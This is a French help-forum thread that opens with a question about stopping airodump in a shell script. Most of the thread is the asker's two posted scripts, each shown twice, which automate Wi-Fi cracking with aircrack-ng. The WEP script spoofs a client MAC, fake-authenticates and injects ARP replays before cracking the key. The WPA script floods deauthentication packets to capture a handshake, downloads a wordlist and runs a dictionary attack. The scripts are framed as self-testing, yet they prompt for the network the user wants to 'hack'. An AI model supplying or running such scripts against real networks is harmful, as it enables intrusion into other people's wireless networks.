Besoin d'aide script shell
Résolu
clabman
Messages postés
53
Date d'inscription
Statut
Membre
Dernière intervention
-
jipicy Messages postés 40842 Date d'inscription Statut Modérateur Dernière intervention -
jipicy Messages postés 40842 Date d'inscription Statut Modérateur Dernière intervention -
Bonjour,
Je me permet de vous écrire, car j'essai d'écrire un script shell excécutant la commande airodump, et je souhaiterai que l'utilisateur puisse stopper cette commande pour que la suite du script puisse s'excécuter....
Donc si vous avez une petite idée:);)
Merci d'avance.
Clabman
Je me permet de vous écrire, car j'essai d'écrire un script shell excécutant la commande airodump, et je souhaiterai que l'utilisateur puisse stopper cette commande pour que la suite du script puisse s'excécuter....
Donc si vous avez une petite idée:);)
Merci d'avance.
Clabman
A voir également:
- Besoin d'aide script shell
- Classic shell - Télécharger - Personnalisation
- Script vidéo youtube - Guide
- Mas script - Accueil - Windows
- Ghost script - Télécharger - Polices de caractères
- Script cmd - Guide
2 réponses
tu peux lancer cette commande en tache de fond
commande &
recuperer son numero de processus bien sur
proc=$(ps -ef | grep commande | head -1 | awk '{print $2}')
et par la suite par son numero de processus en trappant un code clavier comme ctrl-B par exemple tu peux tuer ce dit processus (voir le man page de trap)
commande &
recuperer son numero de processus bien sur
proc=$(ps -ef | grep commande | head -1 | awk '{print $2}')
et par la suite par son numero de processus en trappant un code clavier comme ctrl-B par exemple tu peux tuer ce dit processus (voir le man page de trap)
ok le voilà :
C'est un script pour tester la sécurité de son réseau plus facilement, en supposant la suite aircrack-ng installer:)
Celui ci est pour le wep:
#!/bin/sh
if [ "$(whoami)" != 'root' ]; then
echo 'Need to be root';
else
echo "tout d'abord avant de faire quoi que ce soit installer macchanger."
echo " quelle distribution possédez vous : debian, ubuntu, fedora, mandriva, suse ?"
read distrib
if [ $distrib = debian ]; then
apt-get install macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $distrib = "ubuntu" ]; then
apt-get install macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $distrib = fedora ]; then
yum install macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $distrib = suse ]; then
yum install macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $distrib = mandriva ]; then
urpmi macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $to = ok ]; then
echo 'nom de la carte capable de supporter mode monitor ?'
read carte
ifconfig $carte up
airmon-ng start $carte
echo 'nom du fichier où seront stockés les paquets ?'
read nom_fichier
echo 'repéré le réseau que vous souhaitez hackez (ok ?)'
read ok
if [ $ok = ok ]; then
#echo 'nom de la carte capable de supporter mode monitor ?'
#read carte
airodump-ng --write $nom_fichier $carte &
proc=$(ps -ef | grep airodump-ng | head -1 | awk '{print $2}')
trap 'kill -9 $proc' INT QUIT
echo 'quel est le nom du ssid ciblé ?'
read nom
echo 'quel est sa MAC ?'
read mac
echo 'sur quel channel émet t-il ?'
read channel
echo 'quand une station sera connecté faites ctrl + c(ok ?)'
read dac
if [ $dac = ok ]; then
airodump-ng --write $nom_fichier --channel $channel --bssid $mac $carte
echo "mac de la station connecté à l'ap"
read station
echo 'quel est le nom du ssid ciblé ?'
read nom
ifconfig $carte down
macchanger -m $station $carte
ifconfig $carte up
echo 'ouvrez un autre terminal et lancer cette commande'
echo 'airodump-ng --write' $nom_fichier ' --channel ' $channel ' --bssid' $mac $carte
echo "(ok ?)"
read yo
if [ $yo = ok ]; then
aireplay-ng -1 0 -e $nom -a $mac -h $station $carte
echo " quand vous aurez plus de 1 millions d'IVS sur le terminal où s'excécute airodump vous pourrez faire ctrl + c pour arrétez aireplay. "
aireplay-ng -3 -e $nom -b $mac -h $station $carte
aircrack-ng -z *.cap
echo "Si vous rencontrez un pb, sur l'excécution de la derniére commande essayez d'excutez cette commande :"
echo "aircrack-ng -z "$nom_fichier"-0X avec X évoluant entre 1,2,3, 4....."
echo "exemple aircrack-ng -z "$nom_fichier"-01"
echo "aircrack-ng -z "$nom_fichier"-02"
echo "aircrack-ng -z "$nom_fichier"-03"
echo "aircrack-ng -z "$nom_fichier"-04"
echo "aircrack-ng -z "$nom_fichier"-05"
echo "en étant sur d'être dans ce dossier : "pwd
fi
fi
fi
fi
fi
ET voici celui pour le wpa :
#!/bin/sh
if [ "$(whoami)" != 'root' ]; then
echo 'Need to be root';
else
echo 'nom de la carte capable de supporter mode monitor ?'
read carte
ifconfig $carte up
airmon-ng start $carte
echo 'nom du fichier où seront stockés les paquets ?'
read nom_fichier
echo 'repéré le réseau que vous souhaitez hackez (ok ?)'
read ok
if [ $ok = ok ]; then
echo 'nom de la carte capable de supporter mode monitor ?'
read carte
airodump-ng --write $nom_fichier $carte &
proc=$(ps -ef | grep airodump-ng | head -1 | awk '{print $2}')
trap 'kill -9 $proc' INT QUIT
echo 'quel est le nom du ssid ciblé ?'
read nom
echo 'quel est sa MAC ?'
read mac
echo 'sur quel channel émet t-il ?'
read channel
echo 'quand une station sera connecté faites ctrl + c(ok ?)'
read dac
if [ $dac = ok ]; then
airodump-ng --write $nom_fichier --channel $channel --bssid $mac $carte
echo "mac de la station connecté à l'ap"
read station
echo 'ouvrez un autre terminal et lancer cette commande'
echo 'airodump-ng --write' $nom_fichier ' --channel ' $channel ' --bssid' $mac $carte
echo "(ok ?)"
read yo
if [ $yo = ok ]; then
suite=non
while [ $suite != oui ]
do
aireplay-ng -0 200 -a $mac -c $station $carte
echo ' Sur la fenetre où s execute airodump, vous verrez apparaitre en haut'
echo "à droite le mot WPA handshake, Avez vous un handshake (oui, non)"
read suite
done
if [ $suite = oui ]; then
echo "avez vous un dico personnel (1) où souhaitez vous utilisez celui par défault (2)?"
read rep;
if [ $rep = 1 ]; then
echo "indiquez le chemin du dico depuis la racine."
read dico;
fi
if [ $rep = 2 ]; then
wget ftp://ftp.ausmac.net/disk2/mirrors/openwall/wordlists/all.gz
gunzip -c > all.lst ./all.gz
dico=all.lst
fi
aircrack-ng -w $dico -0 *.cap
echo "Si vous rencontrez un pb, sur l'excécution de la derniére commande essayez d'excutez cette commande :"
echo "aircrack-ng -z "$nom_fichier"-0X avec X évoluant entre 1,2,3, 4....."
echo "exemple aircrack-ng -z "$nom_fichier"-01"
echo "aircrack-ng -z "$nom_fichier"-02"
echo "aircrack-ng -z "$nom_fichier"-03"
echo "aircrack-ng -z "$nom_fichier"-04"
echo "aircrack-ng -z "$nom_fichier"-05"
echo "en étant sur d'être dans ce dossier : "pwd
fi
fi
fi
fi
fi
C'est un script pour tester la sécurité de son réseau plus facilement, en supposant la suite aircrack-ng installer:)
Celui ci est pour le wep:
#!/bin/sh
if [ "$(whoami)" != 'root' ]; then
echo 'Need to be root';
else
echo "tout d'abord avant de faire quoi que ce soit installer macchanger."
echo " quelle distribution possédez vous : debian, ubuntu, fedora, mandriva, suse ?"
read distrib
if [ $distrib = debian ]; then
apt-get install macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $distrib = "ubuntu" ]; then
apt-get install macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $distrib = fedora ]; then
yum install macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $distrib = suse ]; then
yum install macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $distrib = mandriva ]; then
urpmi macchanger
echo "macchanger est correctement installé ? (ok?)"
read to
fi
if [ $to = ok ]; then
echo 'nom de la carte capable de supporter mode monitor ?'
read carte
ifconfig $carte up
airmon-ng start $carte
echo 'nom du fichier où seront stockés les paquets ?'
read nom_fichier
echo 'repéré le réseau que vous souhaitez hackez (ok ?)'
read ok
if [ $ok = ok ]; then
#echo 'nom de la carte capable de supporter mode monitor ?'
#read carte
airodump-ng --write $nom_fichier $carte &
proc=$(ps -ef | grep airodump-ng | head -1 | awk '{print $2}')
trap 'kill -9 $proc' INT QUIT
echo 'quel est le nom du ssid ciblé ?'
read nom
echo 'quel est sa MAC ?'
read mac
echo 'sur quel channel émet t-il ?'
read channel
echo 'quand une station sera connecté faites ctrl + c(ok ?)'
read dac
if [ $dac = ok ]; then
airodump-ng --write $nom_fichier --channel $channel --bssid $mac $carte
echo "mac de la station connecté à l'ap"
read station
echo 'quel est le nom du ssid ciblé ?'
read nom
ifconfig $carte down
macchanger -m $station $carte
ifconfig $carte up
echo 'ouvrez un autre terminal et lancer cette commande'
echo 'airodump-ng --write' $nom_fichier ' --channel ' $channel ' --bssid' $mac $carte
echo "(ok ?)"
read yo
if [ $yo = ok ]; then
aireplay-ng -1 0 -e $nom -a $mac -h $station $carte
echo " quand vous aurez plus de 1 millions d'IVS sur le terminal où s'excécute airodump vous pourrez faire ctrl + c pour arrétez aireplay. "
aireplay-ng -3 -e $nom -b $mac -h $station $carte
aircrack-ng -z *.cap
echo "Si vous rencontrez un pb, sur l'excécution de la derniére commande essayez d'excutez cette commande :"
echo "aircrack-ng -z "$nom_fichier"-0X avec X évoluant entre 1,2,3, 4....."
echo "exemple aircrack-ng -z "$nom_fichier"-01"
echo "aircrack-ng -z "$nom_fichier"-02"
echo "aircrack-ng -z "$nom_fichier"-03"
echo "aircrack-ng -z "$nom_fichier"-04"
echo "aircrack-ng -z "$nom_fichier"-05"
echo "en étant sur d'être dans ce dossier : "pwd
fi
fi
fi
fi
fi
ET voici celui pour le wpa :
#!/bin/sh
if [ "$(whoami)" != 'root' ]; then
echo 'Need to be root';
else
echo 'nom de la carte capable de supporter mode monitor ?'
read carte
ifconfig $carte up
airmon-ng start $carte
echo 'nom du fichier où seront stockés les paquets ?'
read nom_fichier
echo 'repéré le réseau que vous souhaitez hackez (ok ?)'
read ok
if [ $ok = ok ]; then
echo 'nom de la carte capable de supporter mode monitor ?'
read carte
airodump-ng --write $nom_fichier $carte &
proc=$(ps -ef | grep airodump-ng | head -1 | awk '{print $2}')
trap 'kill -9 $proc' INT QUIT
echo 'quel est le nom du ssid ciblé ?'
read nom
echo 'quel est sa MAC ?'
read mac
echo 'sur quel channel émet t-il ?'
read channel
echo 'quand une station sera connecté faites ctrl + c(ok ?)'
read dac
if [ $dac = ok ]; then
airodump-ng --write $nom_fichier --channel $channel --bssid $mac $carte
echo "mac de la station connecté à l'ap"
read station
echo 'ouvrez un autre terminal et lancer cette commande'
echo 'airodump-ng --write' $nom_fichier ' --channel ' $channel ' --bssid' $mac $carte
echo "(ok ?)"
read yo
if [ $yo = ok ]; then
suite=non
while [ $suite != oui ]
do
aireplay-ng -0 200 -a $mac -c $station $carte
echo ' Sur la fenetre où s execute airodump, vous verrez apparaitre en haut'
echo "à droite le mot WPA handshake, Avez vous un handshake (oui, non)"
read suite
done
if [ $suite = oui ]; then
echo "avez vous un dico personnel (1) où souhaitez vous utilisez celui par défault (2)?"
read rep;
if [ $rep = 1 ]; then
echo "indiquez le chemin du dico depuis la racine."
read dico;
fi
if [ $rep = 2 ]; then
wget ftp://ftp.ausmac.net/disk2/mirrors/openwall/wordlists/all.gz
gunzip -c > all.lst ./all.gz
dico=all.lst
fi
aircrack-ng -w $dico -0 *.cap
echo "Si vous rencontrez un pb, sur l'excécution de la derniére commande essayez d'excutez cette commande :"
echo "aircrack-ng -z "$nom_fichier"-0X avec X évoluant entre 1,2,3, 4....."
echo "exemple aircrack-ng -z "$nom_fichier"-01"
echo "aircrack-ng -z "$nom_fichier"-02"
echo "aircrack-ng -z "$nom_fichier"-03"
echo "aircrack-ng -z "$nom_fichier"-04"
echo "aircrack-ng -z "$nom_fichier"-05"
echo "en étant sur d'être dans ce dossier : "pwd
fi
fi
fi
fi
fi
Merci d'avance.
Clabman
C'est marqué juste au-dessus : "(voir le man page de trap)" ;-))
Merci beaucoup, j'essai ça et je vous dit quoi..
Merci
Clabman